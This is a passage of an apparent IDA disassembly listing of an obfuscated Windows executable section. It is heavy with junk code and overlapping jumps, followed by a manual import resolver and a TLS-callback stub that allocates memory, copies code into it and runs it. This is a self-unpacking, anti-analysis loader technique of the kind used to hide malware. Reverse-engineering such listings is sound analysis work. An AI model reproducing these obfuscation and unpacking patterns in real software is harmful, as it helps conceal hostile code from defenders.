; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_47552B:				; CODE XREF: y3hmw1t3:00474BA2j
		jmp	loc_475968
; ---------------------------------------------------------------------------
dword_475530	dd 0CDD26800h, 1C87514Dh, 5BC38B24h, 0FFF921E9h, 0C300FFh
					; DATA XREF: y3hmw1t3:00475764o
		dd 0C201AC00h, 0E903C2C1h, 0FFFFFCB2h
; ---------------------------------------------------------------------------

loc_475550:				; CODE XREF: y3hmw1t3:00473A6Bj
		push	offset byte_47488B
		jmp	near ptr dword_4739EC+71h
; ---------------------------------------------------------------------------
		align 4

loc_47555C:				; CODE XREF: y3hmw1t3:0047469Dj
		push	offset byte_475ADB
		jmp	near ptr dword_473C1C+63h
; ---------------------------------------------------------------------------
		dw 6800h
		dd 0D6EB2B67h, 8B243487h, 0E8815EC6h, 7D35C849h, 0B87BC881h
		dd 41E9449Fh, 3
; ---------------------------------------------------------------------------

loc_475584:				; CODE XREF: y3hmw1t3:loc_474AD7j
		add	edx, 39D4B20Fh
		xor	edx, 0C87D4CC3h	; CODE XREF: y3hmw1t3:00475598j
		popf
		call	sub_4759DA
		add	cl, ch
		jno	short near ptr loc_47558A+3
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FFFDF0E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_4755A2:				; CODE XREF: y3hmw1t3:loc_4750DAj
		xchg	esi, [eax]
		mov	[edx], ecx
		mov	edi, ebp
		pop	esi
		jmp	loc_475A87
; ---------------------------------------------------------------------------
		dw 9168h
		dd 0E900474Ah, 0FFFFFF42h
		db 0
; ---------------------------------------------------------------------------

loc_4755B9:				; CODE XREF: y3hmw1t3:00474F90j
		call	near ptr dword_4746E8+0Dh
		jmp	near ptr dword_4743F8+2
; ---------------------------------------------------------------------------
		align 4
		dd 8B02C600h, 0C58B505Ah, 0FFECD1E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_4755D3:				; CODE XREF: y3hmw1t3:0047456Bj
		jz	loc_47535E
		jmp	loc_4758F9
; ---------------------------------------------------------------------------
		jmp	locret_475610
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0A1E0D081h, 850F4C7Dh, 0FFFFE1EAh, 0E7E9EF85h, 0FFFFF5h
		dd 8B242C87h, 0E99C5DD5h, 0FFFFDDC4h, 85D0F700h, 77CE9CFh
		dd 0
; ---------------------------------------------------------------------------

locret_475610:				; CODE XREF: y3hmw1t3:004755DEj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
byte_475613	db 68h			; DATA XREF: y3hmw1t3:00473C92o
		dd offset dword_474AB8+0Eh
		dd 0FFFB2CE9h, 0DA3300FFh, 0FFEFD3E9h
; ---------------------------------------------------------------------------
		inc	ebx
; START	OF FUNCTION CHUNK FOR sub_473EA1

loc_475626:				; CODE XREF: sub_473EA1+5j
		jmp	near ptr dword_473C1C+0Eh
; END OF FUNCTION CHUNK	FOR sub_473EA1
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFECDF85h, 41C5F7FFh, 0E9E0AAE9h, 0FFFFF95Bh, 0CA030000h
		dd 0FFE3C3E9h
; ---------------------------------------------------------------------------
		inc	ebx

loc_475646:				; CODE XREF: y3hmw1t3:00475022j
		jmp	loc_47576F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475480

loc_47564B:				; CODE XREF: sub_475480-C32j
		jmp	loc_47485B
; END OF FUNCTION CHUNK	FOR sub_475480
; ---------------------------------------------------------------------------

locret_475650:				; CODE XREF: y3hmw1t3:004753E6j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFFBC4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473D4D

loc_475658:				; CODE XREF: sub_473D4D:loc_473CBDj
		add	ebx, 0C7C17C31h
		xor	ebx, 0B6A5A36Dh
		or	ebx, 0C49F23F8h
		add	ebx, 12A817F2h
		jmp	loc_4743CA
; END OF FUNCTION CHUNK	FOR sub_473D4D
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_474878

loc_475676:				; CODE XREF: sub_474878+6EBj
		mov	ebp, esi
		call	sub_4744CE
		add	[ebx], bl
		jmp	far ptr	0FFFh:0FFEB0DE9h
; END OF FUNCTION CHUNK	FOR sub_474878
; ---------------------------------------------------------------------------
		dw 9281h
		dd 0E9FFFFE5h, 0FFFFFD79h, 81C50300h, 0B8E377C0h, 9D008BE3h
		dd 4BAE8h, 3EE90000h, 87FFFFFCh, 0DF682404h, 0E9004733h
		dd 0FFFFE3E6h, 0DDC0E9C3h, 9E9FFFFh, 0FFFFE4h, 0C4186800h
		dd 3C8746BAh, 5FD78B24h, 0BDECEA81h, 0C2F746FFh, 80000000h
		dd 0FFF35DE9h, 1F6800FFh, 0E9004735h, 0FFFFF893h, 0CAE8008Ah
		dd 0E9FFFFE1h, 0FFFFE20Ch, 1B685200h, 879E2033h, 0D68B2434h
		dd 0FFDE79E9h
		db 0FFh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_475707	proc near		; CODE XREF: y3hmw1t3:00475773p

; FUNCTION CHUNK AT 00473F59 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004740F8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00475114 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00475B76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475D43 SIZE 00000016 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [eax]

loc_47570D:				; DATA XREF: y3hmw1t3:0047501Do
		or	eax, eax
		jnz	loc_475096
		jmp	loc_473F59
sub_475707	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_47571B:				; CODE XREF: y3hmw1t3:00474F6Dj
		retn
; ---------------------------------------------------------------------------
		dd 4F8D0F00h, 0FFFFF5h
; ---------------------------------------------------------------------------

loc_475724:				; CODE XREF: y3hmw1t3:00473C97j
		jmp	locret_47550B
; ---------------------------------------------------------------------------
		align 2
		dw 0DF2Bh
		dd 0FFF53DE9h, 830F00FFh, 0FFFFF4BDh, 0FFFCAEE9h, 0F0000FFh
		dd 0FFEB968Fh, 0F3EDE9FFh, 8B00FFFFh, 0E7E929h,	81000000h
		dd 0A2685FC3h
		db 0ABh
byte_475759	db 0B5h, 1Ch, 24h	; DATA XREF: y3hmw1t3:00475901o
; ---------------------------------------------------------------------------
		jmp	loc_475AD6
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd offset dword_475530+1
; ---------------------------------------------------------------------------
		jmp	locret_475529
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_47576F:				; CODE XREF: y3hmw1t3:loc_475646j
		mov	byte ptr [edx],	9
		pop	edx
		call	sub_475707
		jmp	locret_4741E3
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C6h
		dd 6851C300h, 475C25h, 0FFFE98E9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_390. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_47578E:				; CODE XREF: y3hmw1t3:loc_4752C0j
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFEF55h, 24148700h, 0F06C65Ah, 8B242C87h,	1E95DF5h
		dd 68FFFFF1h, 473FA6h, 0FFED36E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_4757B2:				; CODE XREF: y3hmw1t3:00475456j
		sub	edi, 724DAAE7h
		push	edx
		push	0AEC1A86h
		pop	edx
		jmp	near ptr dword_474B10+53h
; ---------------------------------------------------------------------------
		dd 0C87CF87h, 7C65924h,	0F639E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4757D2:				; CODE XREF: y3hmw1t3:loc_47507Bj
		add	edx, 0AE9D5702h
		or	edx, 0F6834FB1h
		add	edx, 82C2046h

loc_4757E4:				; DATA XREF: y3hmw1t3:loc_475AEFo
		xchg	eax, esi
		adc	al, 24h
		imul	edx, ds:dword_44F0C0, 280D6852h
; ---------------------------------------------------------------------------
		db 8Fh,	53h, 0E9h
		dd 0FFFFF488h, 3E850F00h, 87FFFFF1h, 2B8A0F3Bh,	0E9FFFFFAh
		dd 0FFFFF129h, 0D3810000h, 0C7A7DD59h, 13FE9h, 240C8700h
		dd 8D01C659h, 0F87BE859h, 0FFFFh
; ---------------------------------------------------------------------------

loc_475828:				; DATA XREF: y3hmw1t3:0047545Eo
		call	sub_473206
		push	offset sub_473EA1
		jmp	loc_4741D0
; ---------------------------------------------------------------------------
		align 4
		dd 24348700h, 34AF685Eh, 3CE90047h, 87000004h, 0C872414h
		dd 59D18B24h, 4DF26853h, 0FE90047h, 0FFFFDDh, 840FD209h
		dd 0FFFFDB6Ah, 17685752h, 5F6D0BD0h, 2032EF81h,	0FAE97F9Ch
		dd 0FFFFE7h, 0E2815E00h, 3867DC72h, 0EE6BF281h,	0EA816A27h
		dd 223ADDD8h, 0FFFB8AE9h
		db 0FFh, 0
word_475892	dw 0D568h		; DATA XREF: y3hmw1t3:loc_474C47o
					; sub_474878+6E4o
		dd 0E9004738h, 0FFFFDD2Eh, 0EF23E800h, 9168FFFFh, 0E9004745h
		dd 158h, 5F243C87h, 0C1C201ACh,	5AE803C2h, 0FFFFE4h, 0FE5BE900h
		dd 0C300FFFFh, 0FFE7D1E9h, 0E90000FFh, 0FFFFF728h, 0AEE900C3h
		dd 0FFFFDBh, 0FFE721E8h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4758DD:				; CODE XREF: y3hmw1t3:004746A4j
		mov	esi, 47397Eh
		jmp	near ptr dword_4738D0+0A7h
; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------
		retn	0CB81h
; ---------------------------------------------------------------------------
		db 18h
		dd 68978BC9h, 47377Eh, 0FFDE83E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4758F9:				; CODE XREF: y3hmw1t3:004755D9j
		pop	ebx
		sub	ebx, 8D7D315Bh
		push	eax
		mov	eax, offset byte_475759
		jmp	near ptr dword_47355C+29h
; ---------------------------------------------------------------------------
		align 4
		dd 240C8700h, 37BF5759h, 0E9004736h, 0FFFFF7A3h
; ---------------------------------------------------------------------------

loc_47591C:				; CODE XREF: y3hmw1t3:00474BD7j
		push	edx
		push	66091BA6h
		pop	edx
		and	edx, 0B5B0C73Ah
		xor	edx, 60B06C96h
		jmp	near ptr dword_473668+5Bh
; ---------------------------------------------------------------------------
		dd 815F0000h, 0B5A6CECFh, 5CC7815Ch, 0ED83895Ah, 0ACE9243Ch
		dd 50FFFFE5h, 0E3083168h, 0E795E9BCh, 0FFFFh, 87241C87h
		dd 0DF8B243Ch, 0F3ECE95Fh, 0FFFFh
; ---------------------------------------------------------------------------

loc_475968:				; CODE XREF: y3hmw1t3:loc_47552Bj
		jnz	loc_475A87
		jmp	loc_4750DA
; ---------------------------------------------------------------------------
		align 4
		push	2E327DCh
		xchg	eax, [ebx]
		jmp	loc_4746D8
; ---------------------------------------------------------------------------
		dd 6EBC100h, 87C18B50h,	0A7B92404h, 0E9004756h,	0FFFFE663h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473BE0

loc_475995:				; CODE XREF: sub_473BE0+Aj
		xor	edx, 0B4E8933Ah
		rol	edx, 4
		sub	edx, 0B43E91FAh
		add	edx, 0ECA0903Eh
		xchg	edx, [esp-4+arg_0]
		call	ds:dword_44F0C0	; ExitProcess
		jmp	loc_4739B0
; END OF FUNCTION CHUNK	FOR sub_473BE0
; ---------------------------------------------------------------------------
		dd 23AE900h, 0
		dd 3C87F88Bh, 0E9585524h, 0FFFFFCE9h, 850F0000h, 0FFFFFDC8h
		dd 3CD4E181h
		db 0A9h, 5Bh

; =============== S U B	R O U T	I N E =======================================



sub_4759DA	proc near		; CODE XREF: y3hmw1t3:00475591p
		xchg	edx, [esp+0]
		xchg	esi, [esp+0]
		mov	edx, esi
		jmp	near ptr dword_4745F8+11h
sub_4759DA	endp

; ---------------------------------------------------------------------------

locret_4759E7:				; CODE XREF: y3hmw1t3:loc_4745E9j
		retn
; ---------------------------------------------------------------------------
		db 0
byte_4759E9	db 53h,	52h, 0BAh	; DATA XREF: y3hmw1t3:00474D0Co
		dd offset dword_474BA8+7
		dd 0FFF1B4E9h, 3C8700FFh, 3C65F24h, 90E85BF6h, 0FFFFF4h
		dd 0FFEB82E9h, 46E900FFh, 68FFFFDBh, 514DCDD2h,	0DF08158h
		dd 811C664Dh, 5F7CC0C8h, 0BC0C1B1h, 474D0668h, 0EB92E900h
		dd 8158FFFFh, 1158F3E8h, 0ACC081B5h, 81103D72h,	0A8246DE8h
		dd 426A6854h, 0ECE90047h, 0FFFFDCh, 59EE8100h, 0E8652675h
		dd 0FFFFE2DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475A5A:				; CODE XREF: y3hmw1t3:00473702j
		jmp	loc_473E47
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------

loc_475A61:				; CODE XREF: y3hmw1t3:004750E6j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		sub	al, 99h
		push	offset dword_475BA4
		jmp	loc_475B6B
; ---------------------------------------------------------------------------

loc_475A75:				; CODE XREF: y3hmw1t3:004752B8j
		call	near ptr dword_473EAC+24h
		jmp	near ptr dword_474488+0Fh
; ---------------------------------------------------------------------------
		push	ebx
		jmp	sub_475122
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475A87:				; CODE XREF: y3hmw1t3:004755A9j
					; y3hmw1t3:loc_475968j
		call	near ptr dword_473C1C+2Ah
		add	cl, ch
		xchg	eax, edx
		jmp	far ptr	9EE9h:0FFFFh
; ---------------------------------------------------------------------------
		dw 0FFDDh
		dd 32F281FFh, 816FBF00h, 0EE1B24C2h, 0D0EA8160h, 0E835E137h
		dd 0FFFFEFB9h, 0FFEBCBE9h, 680000FFh, 4749B1h, 0FFEB42E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_475AC1:				; CODE XREF: y3hmw1t3:loc_474106j
		xchg	ecx, [esp]

loc_475AC4:				; CODE XREF: y3hmw1t3:loc_474FCBj
		mov	edi, offset loc_474809
		jmp	loc_475513
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0FFFFE2DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475AD6:				; CODE XREF: y3hmw1t3:0047575Cj
		jmp	near ptr dword_4738D0+0AFh
; ---------------------------------------------------------------------------
byte_475ADB	db 0C6h			; DATA XREF: y3hmw1t3:loc_47555Co
		dd 0C878702h, 59D18B24h
		db 59h
byte_475AE5	db 0B0h, 2Ch, 24h	; DATA XREF: y3hmw1t3:00474698o
		dd 0F0E9F58Bh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_475AEF:				; CODE XREF: y3hmw1t3:00474548j
		mov	edx, offset loc_4757E4
		jmp	loc_475B1F
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 0FFF580E9h, 500000FFh, 0A7E9D0F7h, 23000001h, 0E9F78BDEh
		dd 0FFFFFD33h
; ---------------------------------------------------------------------------

loc_475B14:				; CODE XREF: y3hmw1t3:0047530Fj
		test	ebx, 2000000h
		jmp	near ptr dword_4741E4+0A1h
; ---------------------------------------------------------------------------

loc_475B1F:				; CODE XREF: y3hmw1t3:00475AF4j
		mov	byte ptr [edx],	87h
		pop	edx
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		xor	edx, 47CB6C30h
		jmp	loc_47507B
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_475B35:				; CODE XREF: y3hmw1t3:00474943j
		xchg	eax, [esp]
		jmp	loc_4736EC
; ---------------------------------------------------------------------------
		db 8Dh,	5, 0C8h
		dd 0F00473Ch, 0FFF88589h, 0E96857FFh, 5734385Eh, 475943BFh
		dd 0D9B9E900h, 8700FFFFh, 685A2414h, 4756E8h, 0FFEE96E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		retn
; ---------------------------------------------------------------------------

loc_475B6B:				; CODE XREF: y3hmw1t3:00475A70j
		jmp	near ptr dword_474340+0Ch
; ---------------------------------------------------------------------------
		dd 0E57CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475707

loc_475B76:				; CODE XREF: sub_475707-17A8j
		jmp	loc_475114
; END OF FUNCTION CHUNK	FOR sub_475707
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

locret_475B7D:				; CODE XREF: y3hmw1t3:loc_4753AEj
		retn
; ---------------------------------------------------------------------------
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_392. PRESS KEYPAD	"+" TO EXPAND]
		dd 0FE850F00h, 0FFFFFF6h, 0FFE89F82h, 517168FFh, 3FE90047h
		dd 0FFFFDEh, 2BDF2B00h,	0E92CE9C6h, 0FFFFh
dword_475BA4	dd 0F6FC558Bh, 0FA43C2Ah, 785h,	0DC39E900h, 0FFFFh, 51241487h
					; DATA XREF: y3hmw1t3:00475A6Bo
		dd 0FFE802E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_475BC2:				; CODE XREF: y3hmw1t3:loc_47514Aj
		or	eax, 0B15F7CC0h
		rol	eax, 0Bh
		add	eax, 5D2A20h
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		mov	edx, eax
		call	sub_474CB3
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------

locret_475BE0:				; CODE XREF: y3hmw1t3:004751D8j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFDEF7h
		db 0
; ---------------------------------------------------------------------------

locret_475BE9:				; CODE XREF: y3hmw1t3:00474D11j
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0FFDAF2E9h, 0DBE1E8FFh, 0FFFFh, 0FFE00DE9h, 520000FFh
		dd 581C689Ch, 0C15ACFB7h, 7BE907C2h, 0FFFFDCh, 0FFEF22E8h
		dd 0FFF6E9FFh, 0FFFFh, 17E9D787h, 0FFFFEAh, 0BE026800h
		dd 2C878BACh, 5DCD8B24h, 0EC23F181h, 0E9510DE7h, 0FFFFFE51h
		dd 5A680000h, 0E900475Ch, 0FFFFEAE5h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744CE

loc_475C49:				; CODE XREF: sub_4744CE:loc_473BB4j
		mov	byte ptr [edx],	9Dh
		pop	edx
		pop	edi
		push	offset word_4742F6
		jmp	near ptr dword_473C1C+11h
; END OF FUNCTION CHUNK	FOR sub_4744CE
; ---------------------------------------------------------------------------
		dd 8B510000h, 240C87CEh, 474629BEh, 0F65BE900h
		db 2 dup(0FFh),	0
byte_475C6B	db 68h			; DATA XREF: y3hmw1t3:004738BFo
		dd 52905DDDh, 7DF2815Ah, 817FA398h, 6F89E0C2h, 0D9850FE0h
		dd 0E9FFFFDFh, 0FFFFEC00h, 0C3030000h, 0FFDC27E9h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_475C91	proc near		; DATA XREF: y3hmw1t3:00474EB8o
		push	ebp
		push	offset byte_4750EB
		jmp	nullsub_392
sub_475C91	endp

; ---------------------------------------------------------------------------
		dd 0E9EF0300h, 0FFFFDA9Bh, 118B0000h, 0E91BEEC1h, 0FFFFDE3Ah
		dd 0E1B80000h, 0E9004734h, 0FFFFF413h
		db 0
; ---------------------------------------------------------------------------

loc_475CBD:				; CODE XREF: sub_475088:loc_4750BFp
		call	sub_475122
; ---------------------------------------------------------------------------
		dw 0
		dd 0FFD87AE9h, 0C30000FFh
; ---------------------------------------------------------------------------

loc_475CCC:				; CODE XREF: y3hmw1t3:004751DFj
		xchg	esi, [esp]
		pop	esi
		push	ecx
		push	0F11E072Eh
		pop	ecx
		xor	ecx, 0FD6ED6Eh
		jmp	near ptr dword_4749B4+17h
; ---------------------------------------------------------------------------
		align 4
		xchg	ebx, [esp]
		pop	ebx
		xchg	ebx, [esp]
		xchg	ebp, [esp]
		mov	ebx, ebp
		pop	ebp
		jmp	loc_473A64
; ---------------------------------------------------------------------------
		dw 0F700h
; ---------------------------------------------------------------------------
		setalc
		jmp	loc_474540
; ---------------------------------------------------------------------------
		align 10h

loc_475D00:				; CODE XREF: y3hmw1t3:loc_474E8Cj
		jz	near ptr dword_473668+3
		xchg	ebx, [ebp+0]
		jmp	near ptr dword_473668+1
; ---------------------------------------------------------------------------
		dw 0F72Bh
		dd 0D10BF02Bh, 65ABC2F7h, 86E9683Fh, 0FFFFD6h
		db 0
; ---------------------------------------------------------------------------

locret_475D21:				; CODE XREF: y3hmw1t3:00475463j
		retn
; ---------------------------------------------------------------------------
		dw 58E9h
		dd 0FFFFDCh, 5F23DE81h,	0C2133D7Dh, 0FFE2C9E9h
		db 0FFh, 2 dup(0)
byte_475D37	db 8Bh			; DATA XREF: y3hmw1t3:00474657o
		dd 50746810h, 0FAE90047h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_475707

loc_475D43:				; CODE XREF: sub_475707-5ECj
		jnp	near ptr dword_473614+34h
		jz	loc_4740F8

loc_475D4F:				; CODE XREF: sub_475707:loc_473F59j
		call	sub_475088

loc_475D54:				; CODE XREF: y3hmw1t3:00474C37j
		jmp	nullsub_386
; END OF FUNCTION CHUNK	FOR sub_475707
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_385. PRESS KEYPAD	"+" TO EXPAND]
		dd 0DF3AE900h, 0D9E8FFFFh
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_475D67:				; CODE XREF: y3hmw1t3:00474871j
		add	ebx, 0A5ACE8Ch
		xchg	ebx, [esp]
		jmp	nullsub_380
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
; ---------------------------------------------------------------------------
		fcom	st(6)
		psubq	mm3, qword ptr [eax-2Fh]
		rol	byte ptr [ecx+38755DE8h], 6Fh
		jmp	loc_473CC3
; ---------------------------------------------------------------------------
		dw 830Fh
		dd 0FFFFF522h, 474D3F68h, 0E005E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473BE0

loc_475D9A:				; CODE XREF: sub_473BE0:loc_47526Aj
		xchg	ecx, [esp-4+arg_0]
		call	sub_473BE0
; END OF FUNCTION CHUNK	FOR sub_473BE0
; ---------------------------------------------------------------------------
		dw 0
		dd 0FBDA850Fh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_475DAB:				; CODE XREF: y3hmw1t3:0047447Aj
		jmp	loc_4746A9
; ---------------------------------------------------------------------------
		dd 1310CBC1h, 0E1C199FBh, 0FBC3E91Bh, 0C600FFFFh, 815A8B02h
		dd 0FBD8CEC8h, 0E5F08146h, 819A184Ah, 0A21E86E8h, 0FF081C1h
		dd 0E9D9EA3Eh, 0FFFFFE11h, 819C0000h, 1C95E9C2h, 0DF44E9DEh
		dd 0FFFFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_436000
		mov	eax, 400000h
		mov	[ebp-4], eax
		mov	edx, eax

loc_475E08:				; CODE XREF: y3hmw1t3:00475F4Dj
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_475EA1
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_44F0B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_475E35
		push	ebx
		call	ds:dword_44F0B8	; LoadLibraryA
		or	eax, eax
		jz	loc_475E99

loc_475E35:				; CODE XREF: y3hmw1t3:00475E20j
		mov	[ebp-8], eax
		push	0
		pop	dword ptr [ebp-0Ch]

loc_475E3D:				; CODE XREF: y3hmw1t3:00475E92j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp-4]
		jnz	loc_475E4D
		mov	eax, [esi+10h]

loc_475E4D:				; CODE XREF: y3hmw1t3:00475E44j
		add	eax, edx
		add	eax, [ebp-0Ch]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp-0Ch]
		or	ebx, ebx
		jz	loc_475F47
		test	ebx, 80000000h
		jnz	loc_475E74
		lea	ebx, [ebx+edx+2]

loc_475E74:				; CODE XREF: y3hmw1t3:00475E6Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	dword ptr [ebp-8]
		call	ds:dword_44F0BC	; GetProcAddress
		or	eax, eax
		jz	loc_475E99
		mov	[edi], eax
		add	dword ptr [ebp-0Ch], 4
		jmp	loc_475E3D
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_475E99:				; CODE XREF: y3hmw1t3:00475E2Fj
					; y3hmw1t3:00475E86j
		push	ebx
		mov	eax, ebx
		call	sub_475EA9

loc_475EA1:				; CODE XREF: y3hmw1t3:00475E0Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_475EA9	proc near		; CODE XREF: y3hmw1t3:00475E9Cp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh

loc_475EE0:				; CODE XREF: sub_475EA9+97j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_475F1F
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	ds:dword_44F104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_44F0C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_475F1F:				; CODE XREF: sub_475EA9+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_475EE0
sub_475EA9	endp

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_475F47:				; CODE XREF: y3hmw1t3:00475E5Ej
		add	esi, 14h
		mov	edx, [ebp-4]
		jmp	loc_475E08
; ---------------------------------------------------------------------------

loc_475F52:				; DATA XREF: y3hmw1t3:loc_475F52o
					; y3hmw1t3:00475F58o
		lea	eax, loc_475F52
		lea	edx, loc_475F52
		sub	edx, eax
		jz	locret_475FC4
		push	esi
		push	ebx
		mov	esi, offset off_44F110
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	loc_475FC2
		mov	ebx, edx

loc_475F7A:				; CODE XREF: y3hmw1t3:00475F8Fj
					; y3hmw1t3:00475FAAj ...
		add	ebx, eax
		add	[ebx], edx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	loc_475F95
		and	eax, 0FFh
		jmp	loc_475F7A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_475F95:				; CODE XREF: y3hmw1t3:00475F84j
		add	ebx, 0FEh
		or	eax, eax
		jp	loc_475FB0
		lodsw
		and	eax, 0FFFFh
		jmp	loc_475F7A
; ---------------------------------------------------------------------------
		align 10h

loc_475FB0:				; CODE XREF: y3hmw1t3:00475F9Dj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	loc_475F7A

loc_475FC2:				; CODE XREF: y3hmw1t3:00475F72j
		pop	ebx
		pop	esi

locret_475FC4:				; CODE XREF: y3hmw1t3:00475F60j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_475FC5	proc near		; CODE XREF: TlsCallback_0p
		mov	eax, offset loc_47338A

locret_475FCA:				; DATA XREF: y3hmw1t3:00475FD3o
		retn
sub_475FC5	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp]
		sub	ebx, offset locret_475FCA
		mov	eax, 22AEh
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_44F0C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset loc_47338A
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_473206
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp]
		push	8000h
		push	0
		push	eax
		mov	eax, 44F0C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_476080
		mov	ebx, eax
		call	loc_4760E1
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_476080
		push	ebx
		mov	ebx, ecx

